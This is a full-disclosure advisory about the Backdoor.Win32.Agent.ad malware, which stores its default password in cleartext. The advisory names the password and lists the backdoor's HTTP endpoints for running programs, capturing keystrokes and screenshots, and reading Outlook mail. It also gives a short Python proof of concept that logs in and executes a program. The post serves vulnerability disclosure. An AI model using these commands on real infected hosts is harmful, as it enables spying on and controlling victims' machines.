full-disclosure - [FD] Backdoor.Win32.Agent.ad / Insecure Credential Storage

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Message-ID: <CAAHK0WSPkCUk1o2=Cr7Ee1xMr0FNWbVfe61JOKd_xSfG84+XKg@mail.gmail.com>
Date: Sun, 21 Nov 2021 18:40:23 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Agent.ad / Insecure Credential Storage

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/d2b933ebadd5c808ca4c68ae173e2d62.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.ad
Vulnerability: Insecure Credential Storage
Description: The malware listens on TCP port 87, its default password
"hoanggia" is stored in the Windows registry in cleartext under "clrprv.oo"
in "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\System\NPP". The password is
also set as cookie value "Cookie: pass=hoanggia; day=14; month=11;
year=2021", which also gets sent over the network in plaintext. Third party
attackers who can access the system or sniff traffic can grab the password,
then execute any programs and or run commands made available by the
backdoor.

Execute programs
http://x.x.x.x:87/brow?exe=C:\Windows\system32\calc.exe

Screenshots
http://x.x.x.x:87/scrs?

Websites visited
http://x.x.x.x:87/web?

Keys pressed
http://x.x.x.x:87/key?

File system browsing
http://x.x.x.x:87/brow?

Apps used
http://x.x.x.x:87/run?

Outlook emails
http://x.x.x.x:87/chatoutlook?app=out

Misc CMDs
http://x.x.x.x:87/main?cmd=shutdown
http://x.x.x.x:87/main?cmd=logoff
http://x.x.x.x:87/main?cmd=reboot

Type: PE
MD5: d2b933ebadd5c808ca4c68ae173e2d62
Vuln ID: MVID-2021-0406
Disclosure: 11/21/2021

Exploit/PoC:
import requests

with requests.Session() as s:
    p = s.post("http://x.x.x.x:87/main", data={'pass':"hoanggia"})
    r = s.get("http://x.x.x.x:87/brow?exe=calc")
    print(r.status_code)

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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